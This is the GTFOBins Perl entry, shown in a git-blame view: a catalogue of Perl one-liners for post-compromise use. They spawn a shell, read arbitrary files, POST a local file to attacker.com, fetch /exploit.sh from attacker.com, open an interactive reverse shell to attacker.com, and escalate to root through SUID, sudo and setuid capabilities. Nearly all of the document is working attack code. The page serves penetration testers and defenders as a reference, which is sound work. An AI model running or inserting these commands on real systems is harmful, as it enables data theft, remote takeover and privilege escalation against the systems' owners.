GTFOBins.github.io/_gtfobins/perl.md

38 lines
2.2 KiB
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: perl -e 'exec "/bin/sh";'
2021-04-26 16:11:44 +02:00
file-read:
- code: |
LFILE=file_to_read
perl -ne print $LFILE
2023-10-05 11:57:43 +02:00
file-upload:
2023-10-05 11:59:58 +02:00
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
2023-10-05 11:59:03 +02:00
code: |
2023-10-05 11:57:43 +02:00
export RHOST=attacker.com
export RPORT=8080
export URL=/exploit.sh
export LFILE=output.txt
perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>$ENV{"RHOST"}, PeerPort=>$ENV{"RPORT"}, Proto=>"tcp") or die;open(my $file, "<", $ENV{"LFILE"}) or die;$content = join("", <$file>);close($file);$post_data = "d=" . $content;$headers = "POST " . $ENV{"URL"} . " HTTP/1.1\r\nHost: " . $ENV{"RHOST"} . "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($post_data) . "\r\nConnection: close\r\n\r\n";print $s $headers . $post_data;while (<$s>) { }close($s);'
file-download:
- description: Download a file via HTTP. For example, run `python3 -m http.server 8080` on the serving side.
code: |
export RHOST=attacker.com
export RPORT=8080
export URL=/exploit.sh
export LFILE=output.txt
perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>$ENV{"RHOST"},PeerPort=>$ENV{"RPORT"},Proto=>"tcp") or die; print $s "GET " . $ENV{"URL"} . " HTTP/1.1\r\nHost: " . $ENV{"RHOST"} . "\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", $ENV{"LFILE"}) or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
2018-10-05 19:55:38 +02:00
reverse-shell:
2018-07-16 15:01:50 +02:00
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: ./perl -e 'exec "/bin/sh";'
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo perl -e 'exec "/bin/sh";'
2018-10-05 19:55:38 +02:00
capabilities:
- code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
2018-05-25 01:10:39 +02:00
---